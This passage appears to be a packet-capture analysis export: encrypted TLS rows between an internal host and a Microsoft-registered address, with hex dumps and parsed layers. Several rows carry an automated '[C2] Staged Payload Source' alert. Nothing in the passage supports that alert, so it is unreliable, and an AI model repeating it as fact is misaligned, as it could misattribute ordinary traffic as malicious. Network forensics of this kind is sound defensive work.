\"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 300, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259387727, \"\"ack\"\": 4093516525, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.847091,100,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS > TLS,7,TCP PA Seq=2259387727 Ack=4093516525,bc2411360d0cbc24112907bb0800450001d35e6340004006ff7f2862103d0a98980b01bbfa0586ab854ff3fe1aed5018003fdd070000160303012e0400012a00008ca0012400000000945e016933019c4f9ba9c380eed9f07c2ef5c323122b26c3462df5527f33c1b7d3fca108762b9e16f570ca71df7fb6eab4e2da67eb183b905a82a1b1b5bc6d6a455327daab55308f0571e513c164c0c01fa5f8e4084e9008d18f70bc051df5e86aa3f17a5bf7770742e940aa616e3897f8c90e3aac66705a5eaf0bc9f9ae6c12ae3178389d02f910210a4c91a110a77aa0741ac9903b1dda5823421815bfae2d9be9aa82a6517da045f62ffca11f3313a1dbfbf63ea76c8489b5d51d1b312fa6c436b048148a852b7c72cc528d32931493bb9b0f9186d4f27e07b5b6a81bc400348c1895976abf4b4ce3908149c2ad3ee21923d8b77fa45a1c90e97865d695e77123e61975042f1c6bfcb13e41e33a6827d880c6fb4a492c207a5812beb20bea140303000101160303002800000000000000003b5d3f1c0f71f52895120fdc360a3a665c8a4e819de825832f1f011a0b19af2c170303004000000000000000014970fb3ae8cf928346e67c612c15334b2851153d598f3bdd600bd46634012f95e9d360466fb6974bbfc45b21920bf159348d3eb1f036d19a,\";]?..q.(....6\n:f\\.N...%./......,\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 467, \"\"id\"\": 24163, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 65407, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259387727, \"\"ack\"\": 4093516525, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56583, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 302, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=298 lifetime=36000 ticketlen=292 ticket=b\\\"\"\\\\x00\\\\x00\\\\x00\\\\x00\\\\x94^\\\\x01i3\\\\x01\\\\x9cO\\\\x9b\\\\xa9\\\\xc3\\\\x80\\\\xee\\\\xd9\\\\xf0|.\\\\xf5\\\\xc3#\\\\x12+&\\\\xc3F-\\\\xf5R\\\\x7f3\\\\xc1\\\\xb7\\\\xd3\\\\xfc\\\\xa1\\\\x08v+\\\\x9e\\\\x16\\\\xf5p\\\\xcaq\\\\xdf\\\\x7f\\\\xb6\\\\xea\\\\xb4\\\\xe2\\\\xdag\\\\xeb\\\\x18;\\\\x90Z\\\\x82\\\\xa1\\\\xb1\\\\xb5\\\\xbcmjES'\\\\xda\\\\xabU0\\\\x8f\\\\x05q\\\\xe5\\\\x13\\\\xc1d\\\\xc0\\\\xc0\\\\x1f\\\\xa5\\\\xf8\\\\xe4\\\\x08N\\\\x90\\\\x08\\\\xd1\\\\x8fp\\\\xbc\\\\x05\\\\x1d\\\\xf5\\\\xe8j\\\\xa3\\\\xf1z[\\\\xf7w\\\\x07B\\\\xe9@\\\\xaaan8\\\\x97\\\\xf8\\\\xc9\\\\x0e:\\\\xacfpZ^\\\\xaf\\\\x0b\\\\xc9\\\\xf9\\\\xael\\\\x12\\\\xae1x8\\\\x9d\\\\x02\\\\xf9\\\\x10!\\\\nL\\\\x91\\\\xa1\\\\x10\\\\xa7z\\\\xa0t\\\\x1a\\\\xc9\\\\x90;\\\\x1d\\\\xdaX#B\\\\x18\\\\x15\\\\xbf\\\\xae-\\\\x9b\\\\xe9\\\\xaa\\\\x82\\\\xa6Q}\\\\xa0E\\\\xf6/\\\\xfc\\\\xa1\\\\x1f3\\\\x13\\\\xa1\\\\xdb\\\\xfb\\\\xf6>\\\\xa7l\\\\x84\\\\x89\\\\xb5\\\\xd5\\\\x1d\\\\x1b1/\\\\xa6\\\\xc46\\\\xb0H\\\\x14\\\\x8a\\\\x85+|r\\\\xccR\\\\x8d2\\\\x93\\\\x14\\\\x93\\\\xbb\\\\x9b\\\\x0f\\\\x91\\\\x86\\\\xd4\\\\xf2~\\\\x07\\\\xb5\\\\xb6\\\\xa8\\\\x1b\\\\xc4\\\\x004\\\\x8c\\\\x18\\\\x95\\\\x97j\\\\xbfKL\\\\xe3\\\\x90\\\\x81I\\\\xc2\\\\xad>\\\\xe2\\\\x19#\\\\xd8\\\\xb7\\\\x7f\\\\xa4Z\\\\x1c\\\\x90\\\\xe9xe\\\\xd6\\\\x95\\\\xe7q#\\\\xe6\\\\x19u\\\\x04/\\\\x1ck\\\\xfc\\\\xb1>A\\\\xe3:h'\\\\xd8\\\\x80\\\\xc6\\\\xfbJI, zX\\\\x12\\\\xbe\\\\xb2\\\\x0b\\\\xea\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSHelloRequest  msgtype=hello_request msglen=0 |>, <TLSHelloRequest  msgtype=hello_request msglen=0 |>, <Raw  load=b';]?\\\\x1c\\\\x0fq\\\\xf5(\\\\x95\\\\x12\\\\x0f\\\\xdc6\\\\n:f\\\\\\\\\\\\x8aN\\\\x81\\\\x9d\\\\xe8%\\\\x83/\\\\x1f\\\\x01\\\\x1a\\\\x0b\\\\x19\\\\xaf,' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 64, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01Ip\\\\xfb:\\\\xe8\\\\xcf\\\\x92\\\\x83F\\\\xe6|a,\\\\x153K(Q\\\\x15=Y\\\\x8f;\\\\xdd`\\\\x0b\\\\xd4f4\\\\x01/\\\\x95\\\\xe9\\\\xd3`Fo\\\\xb6\\\\x97K\\\\xbf\\\\xc4[!\\\\x92\\\\x0b\\\\xf1Y4\\\\x8d>\\\\xb1\\\\xf06\\\\xd1\\\\x9a' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:53.847252,101,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516525 Ack=2259388154,bc24112907bbbc2411360d0c080045000028f1eb400080062da20a98980b2862103dfa0501bbf3fe1aed86ab86fa501003fbb8440000,\".$.)...$.6\n...E..(..@...-.\n...(b.=............P....D..\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61931, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11682, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516525, \"\"ack\"\": 2259388154, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1019, \"\"chksum\"\": 47172, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.849056,102,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4093516525 Ack=2259388154,bc24112907bbbc2411360d0c08004500007ff1ec400080062d4a0a98980b2862103dfa0501bbf3fe1aed86ab86fa501803fbc42d000017030300520000000000000001b10771f50aa173e32605412f09a03e6deec58cd99b6abc0222e1f80c4c3dfebd54ec41cc007bbabd1c6331c3dce36adc9038d4f4eecd6c0a97964bfd1d112123d343291ce3da596c2780,\".$.)...$.6\n...E.....@...-J\n...(b.=............P....-......R..........q.\n.s.&.A/\t.>m.....j..\"\"...L=..T.A..{...c1...j..8....l\n..K...!#.C)...Yl'.\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 127, \"\"id\"\": 61932, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11594, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516525, \"\"ack\"\": 2259388154, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 50221, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 82, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xb1\\\\x07q\\\\xf5\\\\n\\\\xa1s\\\\xe3&\\\\x05A/\\\\t\\\\xa0>m\\\\xee\\\\xc5\\\\x8c\\\\xd9\\\\x9bj\\\\xbc\\\\x02\\\"\"\\\\xe1\\\\xf8\\\\x0cL=\\\\xfe\\\\xbdT\\\\xecA\\\\xcc\\\\x00{\\\\xba\\\\xbd\\\\x1cc1\\\\xc3\\\\xdc\\\\xe3j\\\\xdc\\\\x908\\\\xd4\\\\xf4\\\\xee\\\\xcdl\\\\n\\\\x97\\\\x96K\\\\xfd\\\\x1d\\\\x11!#\\\\xd3C)\\\\x1c\\\\xe3\\\\xdaYl\\\\'\\\\x80' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:53.849067,103,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2259388154 Ack=4093516612,bc2411360d0cbc24112907bb0800450000285e6440004006012a2862103d0a98980b01bbfa0586ab86faf3fe1b445010003fdb5c0000,\".$.6\n..$.)....E..(^d@.@..*(b.=\n..............DP..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 24164, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 298, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259388154, \"\"ack\"\": 4093516612, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.849141,104,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4093516612 Ack=2259388154,bc24112907bbbc2411360d0c08004500004ef1ed400080062d7a0a98980b2862103dfa0501bbf3fe1b4486ab86fa501803fbf68c000017030300210000000000000002a1c17728ec878c8fc6768c626c18fcf1c0a17167241e0f777c,\".$.)...$.6\n...E..N..@...-z\n...(b.=.......D....P...........!..........w(.....v.bl.....qg$..w|\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 61933, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11642, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516612, \"\"ack\"\": 2259388154, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 63116, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xa1\\\\xc1w(\\\\xec\\\\x87\\\\x8c\\\\x8f\\\\xc6v\\\\x8cbl\\\\x18\\\\xfc\\\\xf1\\\\xc0\\\\xa1qg$\\\\x1e\\\\x0fw|' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:53.849148,105,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2259388154 Ack=4093516650,bc2411360d0cbc24112907bb0800450000285e654000400601292862103d0a98980b01bbfa0586ab86faf3fe1b6a5010003fdb5c0000,\".$.6\n..$.)....E..(^e@.@..)(b.=\n..............jP..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 24165, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 297, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259388154, \"\"ack\"\": 4093516650, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:53.849173,106,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=4093516650 Ack=2259388154,bc24112907bbbc2411360d0c08004500009cf1ee400080062d2b0a98980b2862103dfa0501bbf3fe1b6a86ab86fa501803fb066a0000170303006f00000000000000038b9b5ca9cdd80f805a5bb579755352a0cbc03df417321992951597744715fa3e6b8b8c91a16f92c58c9c1fcec201f4054e00a18fc6e1a29f7ba72434a7fa240c7f3da024fdecd4f769d45b8001920305f75a43ae835f3852f05f291515024741cd093d6f818e90,\".$.)...$.6\n...E.....@...-+\n...(b.=.......j....P....j......o..........\\.....Z[.yuSR...=..2.....tG..>k....o..........N.......{.$4..$..=.$....i.[......ZC.._8R._)...GA.\t=o...\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 156, \"\"id\"\": 61934, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11563, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516650, \"\"ack\"\": 2259388154, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 1019, \"\"chksum\"\": 1642, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 111, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x03\\\\x8b\\\\x9b\\\\\\\\\\\\xa9\\\\xcd\\\\xd8\\\\x0f\\\\x80Z[\\\\xb5yuSR\\\\xa0\\\\xcb\\\\xc0=\\\\xf4\\\\x172\\\\x19\\\\x92\\\\x95\\\\x15\\\\x97tG\\\\x15\\\\xfa>k\\\\x8b\\\\x8c\\\\x91\\\\xa1o\\\\x92\\\\xc5\\\\x8c\\\\x9c\\\\x1f\\\\xce\\\\xc2\\\\x01\\\\xf4\\\\x05N\\\\x00\\\\xa1\\\\x8f\\\\xc6\\\\xe1\\\\xa2\\\\x9f{\\\\xa7$4\\\\xa7\\\\xfa$\\\\x0c\\\\x7f=\\\\xa0$\\\\xfd\\\\xec\\\\xd4\\\\xf7i\\\\xd4[\\\\x80\\\\x01\\\\x92\\\\x03\\\\x05\\\\xf7ZC\\\\xae\\\\x83_8R\\\\xf0_)\\\\x15\\\\x15\\\\x02GA\\\\xcd\\\\t=o\\\\x81\\\\x8e\\\\x90' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:53.849176,107,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=2259388154 Ack=4093516766,bc2411360d0cbc24112907bb0800450000285e664000400601282862103d0a98980b01bbfa0586ab86faf3fe1bde5010003fdb5c0000,\".$.6\n..$.)....E..(^f@.@..((b.=\n...............P..?.\\..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 24166, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 296, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259388154, \"\"ack\"\": 4093516766, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 56156, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.193839,108,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=2259388154 Ack=4093516766,bc2411360d0cbc24112907bb08004500004e5e674000400601012862103d0a98980b01bbfa0586ab86faf3fe1bde5018003fdb82000017030300210000000000000002f5e02b2a71504f7746a08c9db95c0340e9ba5d62e098a87e34,\".$.6\n..$.)....E..N^g@.@...(b.=\n...............P..?........!..........+*qPOwF....\\.@..]b...~4\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 78, \"\"id\"\": 24167, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 257, \"\"src\"\": \"\"40.98.16.61\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 64005, \"\"seq\"\": 2259388154, \"\"ack\"\": 4093516766, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 56194, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 33, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x02\\\\xf5\\\\xe0+*qPOwF\\\\xa0\\\\x8c\\\\x9d\\\\xb9\\\\\\\\\\\\x03@\\\\xe9\\\\xba]b\\\\xe0\\\\x98\\\\xa8~4' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-14 14:16:54.193954,109,TCP 10.152.152.11:64005 -> 40.98.16.61:443,10.152.152.11,40.98.16.61,64005,443,TCP,Internal,Private Network,,,,,,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,A,,,Ether > IP > TCP,3,TCP A Seq=4093516766 Ack=2259388192,bc24112907bbbc2411360d0c080045000028f1ef400080062d9e0a98980b2862103dfa0501bbf3fe1bde86ab8720501003fab72e0000,\".$.)...$.6\n...E..(..@...-.\n...(b.=........... P.......\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 61935, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 11678, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"40.98.16.61\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 64005, \"\"dport\"\": 443, \"\"seq\"\": 4093516766, \"\"ack\"\": 2259388192, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 1018, \"\"chksum\"\": 46894, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-14 14:16:54.250774,110,TCP 40.98.16.61:443 -> 10.152.152.11:64005,40.98.16.61,10.152.152.11,443,64005,TCP,Sweden,Unknown,8075,Microsoft Corporation,59.3247,18.056,40.98.16.0/23,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=2259388192 Ack=4093516766,bc2411360d0cbc24112907bb0800450004735e6840004006fcda2862103d0a98980b01bbfa0586ab8720f3fe1bde5018003fdfa70000170303034700000000000000030569dd8105ff6c04599332181885d01bc8dd815d74747eb121d11db6bd6d90a41eead4adfe535ae9f2fce763fe9bcdb236760b26baa7411e6c56623309ceb1e4fe3124dcd608b4cdf0dcdecb6195c9855da28a328c63331d09915a92de0299280a0d6da694667e10a5213318f2a62414a09718eb84fd0ee0316f7698d3bd8db610e9bd6de04c8657850d9c07b75b4cae42c74a227b132f7f28b58da3a8b9be2579e2aa4edf4d52a459cb41871349bf8df4ad5c2f474de72f79cac7fcdc5b760e6d6bbd148d4a8b9161ca515a01b332708638068568c072b1458c093049304b0d3e543f70c6145f994f15c7882405922dac4e530ab7945b391cd350cf137608fafbb1b5c288cb469d1dc07c25a28b1fd947474ba75afe3f2ed0a7aaec86910ec3e4a631e2f548af91667ff7dc22fa79f710816e186e5c10d86af1ef0dff982d53d79835cff8f8c7d39106def966a92f8adad15fbe1